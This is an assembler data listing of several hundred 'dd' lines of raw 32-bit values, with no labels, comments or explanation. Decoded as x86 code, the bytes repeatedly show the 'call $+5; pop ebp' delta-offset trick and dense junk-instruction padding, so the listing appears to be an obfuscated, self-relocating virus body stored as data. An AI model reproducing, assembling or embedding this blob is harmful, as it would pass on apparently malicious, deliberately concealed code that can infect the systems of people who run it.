		dd 24448104h, 1704h, 0C3564600h, 5DCE9A61h, 6A006Ah, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0C2F928C3h, 0F8F4296h, 7B99589h, 6A061Dh, 21DDBD23h
		dd 858D061Dh, 621C21Ah,	1AE38166h, 5C0836Bh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 16h, 81C35141h, 0B70FC632h
		dd 870F50F9h, 7, 66CEB460h, 8961CA8Bh, 0E9572404h, 6, 40B02ACEh
		dd 6A5B2ABAh, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1904h, 0C3534300h, 0A6418DABh, 0BF0F5CD9h, 0E8006AFFh
		dd 5, 0D87ACF98h, 0ED9D8BF1h, 5B061D1Fh, 2A3995FFh, 6A061Dh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
		dd 9AD391C3h, 8D4097E8h, 2095358Dh, 0F59D8906h,	0FF061D2Bh
		dd 0F1BD89D1h, 83061D06h, 1D31C1BDh, 850F0106h,	76h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 81C35545h, 4325452Bh
		dd 9D295217h, 61D2BB9h,	8B026A5Bh, 1D2745BDh, 69BD8B06h
		dd 50061D1Ah, 48924B7h,	95BD8B24h, 0FF061D13h, 1D156995h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0BE9DF73h, 0C000000h, 0D0E3AEBCh, 80FE38BFh
		dd 85E982E3h, 0E800000Eh, 0
		dd 24ED815Dh, 6A0621C2h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 2CCFC352h, 99442B9Ah
		dd 9E960B9h, 14000000h,	72BB40B7h, 8A4FA64Fh, 11E953h
		dd 7DB40000h, 232AF3FEh, 0FFC0B9A1h, 5A8405C0h,	5F31ACBBh
		dd 21BD8B61h, 6A061D1Dh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 4990C352h, 66818E1Eh
		dd 816236BFh, 89FE94E7h, 22858D48h, 6A06208Dh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 0DCBDC356h, 816661FCh, 503A40E7h, 6A240489h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h
		dd 676C356h, 2E281F6h, 0FF64FC7Ch, 35h,	0BE900h, 0DC1F0000h
		dd 8E76AB46h, 5F4DD9A9h, 0BDBD89F5h, 64061D0Bh,	2589h
		dd 840F0000h, 6, 8982C381h, 85FF7458h, 61D1BC1h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 16C35343h, 0EF93AC5Dh
		dd 0F1DA093h, 382h, 0A9C38000h,	8957FF6Ah, 1D16D99Dh, 0B5FF5F06h
		dd 61D2C49h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 14h,	0CC35747h, 0B3E38166h, 0D595FFE6h, 0E9061D2Ch
		dd 0F3h, 0B05F53h, 5E9h, 0B151C800h, 0BD299A55h, 61D0BDDh
		dd 850F70E6h, 6, 13A9BD89h, 71E4061Dh, 91CB8166h, 0F613C27h
		dd 0C283h, 6E800h, 48D20000h, 194BE240h, 830F53h, 5F000000h
		dd 0C8B60F5Bh, 5754C381h, 6BA2FA9h, 9000000h, 1D26A995h
		dd 8BC18B06h, 4E8C1F8h,	0F766F98Bh, 7DBD8BE2h, 2B061D31h
		dd 0FFBF0FC8h, 8166D18Bh, 0E949E1EFh, 77h, 0DD59BB57h
		dd 665F125Eh, 8B2888BBh, 185h, 0AE900h,	0C29F0000h, 0D8C2734Ch
		dd 0C9469A69h, 0F07C083h, 0C083FBBFh, 0CB816600h, 0D03B5152h
		dd 12830Fh, 8B660000h, 3FBB66D9h, 35E9A9h, 0F7810000h
		dd 577D9D41h, 0FFFF8D8Bh, 8166FFFFh, 834EC3EBh,	840F01E1h
		dd 1Bh,	8D19589h, 0A583061Dh, 0FFFFFFFFh, 0B8EF80FEh, 19589h
		dd 0E90000h, 8D000000h,	214313B5h, 0DABF0F06h, 8C0F006Ah
		dd 3, 0FFFEBF0Fh, 1D120995h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1B04h,	0C3514100h, 157C1134h
		dd 0FEA2A21Eh, 0B9DBBF0Fh, 0E72h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Dh, 8EC35646h, 8A521152h, 7B0FA517h
		dd 0AE8FAh, 0F0ED0000h,	0D0DFA4D4h, 9F04E2BBh, 0FCE1835Bh
		dd 2BD8D01h, 6AFC061Dh,	3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0C6EC353h, 9E85734h
		dd 0A2000000h, 0B9CBD3F0h, 49398B3Ah, 5B1ED780h, 0B85Bh
		dd 9D8B0000h, 61D2315h,	6AD22Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0B9138CC3h, 5810FB2h
		dd 66000000h, 7A6CF381h, 0D1C233ADh, 83D003E8h,	0F47504E9h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 45C35747h
		dd 2F82F968h, 17D5BD89h, 6A061Dh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0A6B369C3h, 199B696Bh
		dd 89037074h, 1D2FB19Dh, 880D06h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 1E142DC3h
		dd 6632E193h, 0FC5692Dh, 684h, 0A1BD3300h, 8B061D16h, 1D20D195h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 4AEF949Ah, 191996CBh, 8D8BF54Ah,	61D331Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 63C35545h
		dd 1F3AB5CAh, 0CE951E0h, 47000000h, 0CBA81656h,	9CECFFBCh
		dd 0BBEE777Ah, 2A445A52h, 140BC781h, 8B5059CAh,	3188BC2h
		dd 8B188BC1h, 3E8D1C1h,	58188BC2h, 0A8AC20BFh, 259D897Eh
		dd 6A061D04h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 1628C352h, 0BB38723Ah,	8E909DCAh
		dd 31BD83F5h, 61D31h, 2A840Fh, 0B5890000h, 61D1A29h, 0B8h
		dd 0F19D8B00h, 8D061D07h, 1D4C898Dh, 0A98D0106h, 0FF061D1Fh
		dd 5810FE1h, 0BF000000h, 0CAAF826h, 2BF9BD83h, 0F00061Dh
		dd 4B184h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1904h, 0C3564600h, 66D47A23h, 0DA8BC62Fh, 2BF9BD83h
		dd 0F01061Dh, 49C84h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 3C7B7912h, 0C78166DCh
		dd 9D8B0C4Ch, 61D1BBDh,	2BF9BD83h, 0F03061Dh, 42E86h, 0AE800h
		dd 4E660000h, 8954E5C2h, 566FA763h, 3359B589h, 605B061Dh
		dd 4F19D8Bh, 8C66061Dh,	56006AD9h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1D04h, 0C3564600h, 0D43CB33Fh, 0C110FF90h
		dd 0E180399Ch, 50006A04h, 3E8h,	0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 8B0242BBh, 1D2A6DBDh
		dd 0FC90A06h, 15E84h, 0C8E78100h, 8B4CFE91h, 1D20E185h
		dd 830F6006h, 3, 60FEB70Fh, 0EE8h, 0ABC5A700h, 0B82162AFh
		dd 9B0645B2h, 5EC0B6FCh, 61CE8B66h, 99853361h, 60061D1Bh
		dd 615B58Bh, 5061061Dh,	14E9h, 0A54E3300h, 43F45940h, 0F94E3F54h
		dd 369C378h, 88FA0622h,	24048910h, 76C6BB66h, 0BD29006Ah
		dd 61D0925h, 4E8h, 1F03FF00h, 6E800h, 0EC90000h, 0E1BCF584h
		dd 5FD88B66h, 0F88B5050h, 24448B5Fh, 8BD88B04h,	0EE900h
		dd 0AAB80000h, 438E7049h, 0B17624F6h, 0DE62DACCh, 4244489h
		dd 7E9h, 9C92EA00h, 0BB337A20h,	51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1404h,	0C3514100h, 4595FF11h
		dd 6A061D31h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 0ECE4C356h, 62858913h,	6A0620A3h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 0D71DC355h, 0A70BC7C4h, 0FDEE107h, 0A8Dh
		dd 5E900h, 41C30000h, 0E9BC8DBCh, 1E9h,	0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Bh, 51C35545h, 83D7E214h
		dd 0F5F4F21h, 683h, 0CC38100h, 8B6A6A8Dh, 20A35A85h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 509D0A59h, 8DE23AA6h, 298D2992h, 0F061D0Ch, 281h, 0C7FE8B00h
		dd 1800h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 8B2B87B3h, 20A35EB5h, 0E1958906h
		dd 8B061D1Ah, 1D147D85h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1404h, 0C3504000h, 519D89FCh, 89061D1Dh
		dd 159D2906h, 8B061D09h, 1D20E185h, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 6E9E8BC1h
		dd 8589B2B6h, 61D0949h,	89044689h, 1D02AD85h, 52509606h
		dd 310F74B3h, 8D0F5250h, 0
		dd 6160310Fh, 585A585Ah, 5870F50h, 0BF000000h, 2D7594FEh
		dd 53006A96h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 0B5FF6920h, 620A35Ah, 0F418D89h,	5A68061Dh
		dd 0F0BF27Eh, 487h, 0F0BF6600h,	24348198h, 0BED7DA5h, 8D32C380h
		dd 20A36285h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1804h, 0C3554500h, 0AE6159F7h, 0DE8EEh, 275A0000h, 0E9FE33CFh
		dd 0A5365842h, 663D0438h, 5FC309BFh, 50525050h,	0F525052h
		dd 0F585A31h, 5A5F5731h, 0BB310F58h, 218A0D2Dh,	489585Ah
		dd 29958924h, 0FF061D16h, 1D314595h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0BEC81737h
		dd 6A6139h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h
		dd 53430000h, 0BC1B3CC3h, 690AADAFh, 0B58961C4h, 61D071Dh
		dd 0B5896160h, 61D1F9Dh, 2BF985C7h, 3061Dh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1A0424h, 56460000h
		dd 174B70C3h, 0F1CB8BBCh, 1B619589h, 0BD83061Dh, 620A362h
		dd 30840F00h, 8B000000h, 1D16719Dh, 0F98B6606h,	3DE9h
		dd 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1404h
		dd 0C3564600h, 19D8BC0h, 50061D2Ah, 110C30h, 0C1011144h
		dd 443010E8h, 4C000211h, 83580311h, 0E77504E9h,	305036EBh
		dd 64001104h, 0E8C10111h, 11443010h, 11640002h,	0E9835803h
		dd 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h, 64285802h
		dd 4300111h, 4E98311h, 0EBE775h, 0D98BC08Bh, 12019D8Bh
		dd 0BD83061Dh, 61D2BF9h, 70850F03h, 8B000004h, 1D1231BDh
		dd 62BD8306h, 620A3h, 45D840Fh,	9D8B0000h, 61D29CDh, 0A362B5FFh
		dd 6A0620h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 8A9379C3h, 0AF5801AEh, 9E9h, 0A0C16C00h
		dd 0EF056D3Bh, 9D89B5F5h, 61D2EA9h, 2B0995FFh, 6A061Dh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0FC7F5C3h, 98Dh, 3870F00h, 80000000h, 8B60ECC7h, 1D2B91BDh
		dd 0C2BF0F06h, 56B58B61h, 660620A3h, 9EC9E781h,	106C7h
		dd 820F0001h, 15h, 10E9h, 447A3300h, 9413990Eh,	0ED61F6A6h
		dd 60D337F4h, 1D8D8932h, 96061D07h, 0A541BB66h,	96BF6650h
		dd 9D23964Eh, 61D01C9h,	0A362B5FFh, 6A0620h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 180424h, 57470000h, 7CE4EAC3h
		dd 95FFFCFEh, 61D2081h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0E7C35747h, 7B1EEC61h, 63D6ED1Bh, 1665B589h
		dd 0C6B3061Dh, 0A356B58Bh, 6A0620h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 3A07DAC3h
		dd 0B7DBE049h, 85858B66h, 6A061D00h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 6DEEC356h
		dd 1F4673Ah, 0AF402B26h, 0C48689h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 0AEBB4CC3h
		dd 3678D6E0h, 0DF817A05h, 8515C31h, 6830Fh, 95890000h
		dd 61D003Dh, 20D1958Bh,	6A061Dh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0CDF67AC3h, 6B691B77h
		dd 9019F4Ah, 1D00958Dh,	97A1BF06h, 0C28314CBh, 0CF80F904h
		dd 20508952h, 4599D8Bh,	858D061Dh, 620B678h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 34C35040h, 6C13D118h
		dd 8589C286h, 61D0155h,	0B88689h, 6A0000h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 180424h, 52420000h, 6A6E4C3h
		dd 6A00A6h, 1113DB81h, 0B5FF382Ch, 620A362h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 65C35242h, 0D26EE275h
		dd 0DE8157Fh, 58000000h, 8E8909DCh, 0FAE468BAh,	50BA26DEh
		dd 665FDE8Bh, 8776D781h, 156995FFh, 6A061Dh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 400BD2C3h
		dd 7ED432CFh, 8509F336h, 61D1205h, 309D9D31h, 8950061Dh
		dd 0FE92434h, 5A000000h, 0D92EB351h, 3A80DFD4h,	0E3A1ED3Ch
		dd 0B5FF842Dh, 620A362h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 1Ah, 49C35646h, 2038934h, 0B529D713h, 61D0F41h
		dd 1A9595FFh, 6A061Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 30E5E6C3h, 2F725B03h, 81D88B66h
		dd 0DDD2DFCBh, 71BD8370h, 61D2Ch, 2C840Fh, 0D88B0000h
		dd 0FB8B6650h, 6A243489h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 6F92C355h, 0BB66744Bh
		dd 0B5FF3DE7h, 620A362h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 18h, 0F1C35242h, 4119EE0Dh, 9AD95FFh, 0CE9061Dh
		dd 0AA000000h, 0CD73ADCEh, 5297592h, 0FF9C0363h, 20A362B5h
		dd 0DB816606h, 64B3C016h, 2A7195FFh, 6A061Dh, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 2054EC3h
		dd 777BEAF5h, 0EDBD8389h, 2061D03h, 4C840Fh, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 180424h, 56460000h
		dd 0DAF601C3h, 0B5093454h, 61D2605h, 4F59D8Bh, 858B061Dh
		dd 61D2F49h, 5E8h, 0FE642600h, 0BD8BD114h, 61D0089h, 0C65Fh
		dd 535EEB81h, 85C77FF3h, 61D00D5h, 0
		dd 51852360h, 89061D12h, 1D11F585h, 70BB6106h, 0E974F56Ch
		dd 0FFFFF2E8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ch,	0A2C35040h, 4F3A05F6h, 734561DEh, 6850Fh, 85310000h
		dd 61D2AB9h, 0F88BC18Bh, 421858Dh, 6A061Dh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 9F7F4C3h
		dd 87F5D102h, 0D18D89CDh, 56061D2Bh, 8F0Fh, 505F0000h
		dd 5800Fh, 66570000h, 895BDA8Bh, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0BB74DAC3h
		dd 85897636h, 61D2BEDh,	2498D29h, 6A061Dh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 0CFC35141h, 3B40379Bh
		dd 0C8EB394Dh, 5E832h, 74D50000h, 81FDC3ECh, 20049BC3h
		dd 6A5F3Dh, 0BE960h, 0F6060000h, 7C02E281h, 0CA881FCh
		dd 0D5B589AEh, 61061D30h, 0FE9h, 4118C400h, 8E37490Bh
		dd 0A4DF258h, 0DAAD3F09h, 0D2D6858Dh, 0BF660621h, 0B70F980Eh
		dd 5C083F9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 15h,	0B4C35343h, 5090B3A8h, 0DAB6BF66h, 66240489h, 0A6D9CF81h
		dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 64B4F5C3h, 0F88B006Ah, 2A3995FFh,	8166061Dh
		dd 8DBBFBC7h, 2095358Dh, 0AD9D8B06h, 0FF061D02h, 51006AD1h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0ABEB52B8h, 0BA4C5BA5h, 31C1BD83h, 0F01061Dh, 0B185h
		dd 68A0F00h, 29000000h,	1D2E9995h, 6A026A06h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0E926C353h, 0BD8B171Ah, 61D2315h, 0DA8B6690h, 0E8525050h
		dd 0Dh,	0EC866EEEh, 5B1ECCB5h, 0F5EA27CFh, 0F525042h, 5F585A31h
		dd 0BF66310Fh, 585A8E26h, 50006A90h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 0C7CF7BE2h
		dd 0FFD7522Ch, 1D156995h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1C04h,	0C3574700h, 35939FBh, 0F975E2D2h
		dd 3840FD5h, 80000000h,	98E953D7h, 0E800000Ch, 0
		dd 0E0ED815Dh, 660621D2h, 0AE9DF8Bh, 36000000h,	0F9E59928h
		dd 0B34E19E5h, 55006A1Dh, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 0BA8C62F0h, 5531505Eh
		dd 0FB8BAB1Ah, 8D22858Dh, 9D2B0620h, 61D080Dh, 0CE950h
		dd 23D90000h, 0A6AADF5Eh, 2228593Ch, 489AD2Dh, 55006A24h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 0A57C4183h, 90C68246h, 0DE9B291h, 32000000h,	0F919B677h
		dd 5031E521h, 330FED8Ah, 8A19531h, 0FF64061Dh, 35h, 0F88B6600h
		dd 258964h, 0B7000000h,	0C185FF56h, 6A061D1Bh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 335AC353h, 6659251Bh, 666ACABFh, 0F840C781h,	8E0FFF6Ah
		dd 11h,	0CE9h, 0B8255800h, 9F43ED76h, 3EED1340h, 0A5B5FF35h
		dd 6A061D30h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 2B1DC350h, 1D1CF59Dh, 0D595FF06h
		dd 0E9061D2Ch, 13Fh, 1B860Fh, 10E80000h, 92000000h, 5C930BC3h
		dd 0FE62BA48h, 0B1D42B8Ah, 66F11EC2h, 353DD781h, 0E600B05Bh
		dd 0E59D0B70h, 0E4061D08h, 9B53171h, 3C061D21h,	4830F61h
		dd 8B000001h, 0C8B60FD8h, 2D699D8Bh, 6BA061Dh, 0E9000000h
		dd 6, 1E80E3DEh, 0C18B3327h, 1D159D03h,	0E8C1061Dh, 0D3B7BB04h
		dd 0F766087Eh, 2B99B3E2h, 19509C8h, 8B061D33h, 1D2CD19Dh
		dd 8BD18B06h, 1D11ADBDh, 0B9E906h, 0E9510000h, 0Ah, 188B7B2Eh
		dd 0D04886Eh, 8B5B2CC3h, 485h, 6E96000h, 0C9000000h, 2497DC9Eh
		dd 87EE8101h, 616398DDh, 8907C083h, 1D2F4185h, 0C08306h
		dd 156DBD33h, 0D03B061Dh, 27830Fh, 6E80000h, 0D3000000h
		dd 0F381C9EAh, 5BF88A37h, 62E9h, 6860F00h, 8B000000h, 1D1471BDh
		dd 9D8B5206h, 61D0111h,	0FF8D8B5Bh, 66FFFFFFh, 91D8F381h
		dd 0F01E183h, 3A84h, 0A583F800h, 0FFFFFFFFh, 870F57FEh
		dd 19h,	13E8h, 0EF781500h, 9F05DD2Eh, 92163012h, 0C2979A10h
		dd 0DFA00514h, 95895F5Fh, 4, 31D9589h, 0E9061Dh, 8D000000h
		dd 215185B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 0BF82E93Eh, 2800Fh, 0A1B30000h, 2D3ED381h
		dd 6A19F8h, 701CBF52h, 0FF5B114Eh, 1D120995h, 6E906h, 8EC20000h
		dd 0CA99A73Dh, 0E97B9h,	57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0EEF1A1ABh, 0FF46B815h
		dd 0E1834236h, 56006AFCh, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1904h, 0C3564600h, 0B9E1A83Ch, 89FC1480h
		dd 1D04C19Dh, 81C02B06h, 4DD5C2DFh, 1ACB8047h, 0BAh, 3BF6600h
		dd 698529E5h, 0AD061D32h, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 6624C355h, 0EE9716FFh, 8B5FC523h,	1D01F5BDh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1604h
		dd 0C3524200h, 6676F119h, 0C3DEE781h, 880Dh, 53006A00h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0C1F56377h, 7199E781h, 0BD2B4CCEh, 61D0535h,	20D1958Bh
		dd 6A061Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0B83829C3h, 0DE13DB93h, 20D78166h, 1D8D8BF9h
		dd 50061D33h, 188BC28Bh, 188BC103h, 0E8D1C18Bh,	188BC203h
		dd 45BD8B58h, 83061D33h, 1D3131BDh, 840F0006h, 6Ah, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ch, 3AC35040h, 0E137422Eh
		dd 45466EAEh, 270D8D89h, 0B8061Dh, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h
		dd 5159C352h, 86BE5F30h, 800668BCh, 4C898D8Dh, 0D88B061Dh
		dd 8C0Fh, 0E1FF0000h, 18659529h, 0BD83061Dh, 61D2BF9h
		dd 8840F00h, 6A000004h,	3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 3FAAC357h, 3EE7BD44h
		dd 0F99D2B0Fh, 0BF061D22h, 204EA341h, 2BF9BD83h, 0F01061Dh
		dd 3E984h, 56006A00h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0A081C409h, 21FE3BFBh, 0B589F4FCh
		dd 61D312Dh, 2BF9BD83h,	0F03061Dh, 37B86h, 1F800F00h, 0E8000000h
		dd 13h,	0E2844D1Ch, 8D3DAC67h, 60CF5E93h, 0FEBE071Eh, 8967B9CEh
		dd 1D21A19Dh, 0E9605B06h, 0Ah, 1FD00377h, 171AE926h, 8C66B335h
		dd 7E9D9h, 2C690000h, 37F50ACh,	4E18098h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 14h, 67C35747h, 840FC90Ah
		dd 11Dh, 29698589h, 858B061Dh, 61D20E1h, 1B998533h, 6A061Dh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 6B64D9C3h, 4BE1CA47h, 2725B589h, 9589061Dh, 61D13B1h
		dd 24048950h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 1Bh,	5DC35242h, 5929112Bh, 8B3A6A93h, 1D09A19Dh, 8DBD8906h
		dd 6A061D1Bh, 0DABF5000h, 5F07B63Ch, 68DABF0Fh,	3B1C775Ah
		dd 8B525060h, 8A310FD3h, 61585AC5h, 0A5243481h,	0FC3B0374h
		dd 1BED8D89h, 95FF061Dh, 61D3145h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 4BC35646h, 2D620329h, 3D168EDh
		dd 0A3628589h, 6A0620h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 86D39DC3h, 0E9435EBFh, 16Ah, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 98C35747h, 8B9F74DEh
		dd 332CA1ACh, 1D1825BDh, 5A858B06h, 6A0620A3h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h
		dd 816FC353h, 0B8E31DDFh, 0C5BF661Ah, 1800C7FBh, 0F000000h
		dd 0B58BDBBFh, 620A35Eh, 147D858Bh, 6A061Dh, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0E947A0C3h
		dd 793252A9h, 8006895Bh, 858BE5C7h, 61D20E1h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 16C35141h, 2EB997D7h
		dd 0AD0BC5C7h, 8820F6Eh, 0F000000h, 28Dh, 89616000h, 6A0446h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 55D29CC3h, 4FCB8166h, 8A509628h, 0E9505FDAh,	9, 0F133383Ah
		dd 0B7583948h, 0AE996A4h, 1B000000h, 0D9893A47h, 457AB6Dh
		dd 0BD07BB72h, 0B5FF2E36h, 620A35Ah, 1FB9BD8Bh,	0FD68061Dh
		dd 0BB639F0Dh, 70C47FC7h, 2243481h, 8963800Eh, 1D26A18Dh
		dd 11EB8006h, 0A362858Dh, 0D88B0620h, 0D38A6050h, 93AE6FB8h
		dd 4896137h, 1525BF24h,	95FF556Bh, 61D3145h, 2BD9D8Bh
		dd 0BB66061Dh, 6A61BA5Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 2EAC351h, 0C7B5C834h
		dd 1D2BF985h, 306h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h
		dd 40459CCDh, 0A043A039h, 0EB810C6Dh, 2F6FE484h, 0A362BD83h
		dd 0F000620h, 4F84h, 53006A00h,	3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 0E1A0E7CFh, 0D740C3C1h
		dd 3696BABBh, 3DE943h, 6A0000h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 9D8BDDC3h, 61D0059h
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 89C08B00h
		dd 1D12D5B5h, 65850106h, 83061D04h, 1D2BF9BDh, 850F0306h
		dd 38Ch, 31C58589h, 0BD83061Dh,	620A362h, 79840F00h, 0F000003h
		dd 58Ah, 327CBF00h, 0B5FF6758h,	620A362h, 0E856006Ah, 3
		dd 5EC35E20h, 4247489h,	4244481h, 1Bh, 0B5C35646h, 0C66AC7FDh
		dd 0FFB807C8h, 1D2B0995h, 8B65B706h, 20A356B5h,	51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 9D1F4D19h, 56116E93h, 106C768h, 96000100h, 5FDF8B51h
		dd 0EA38BF50h, 0FF965B76h, 20A362B5h, 55006A06h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
		dd 8195FF78h, 6A061D20h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 15042444h, 43000000h, 0B3C4C353h,	5E9h, 0FFB35000h
		dd 0B58BE21Dh, 620A356h, 0E855006Ah, 3,	5DC35D20h, 4246C89h
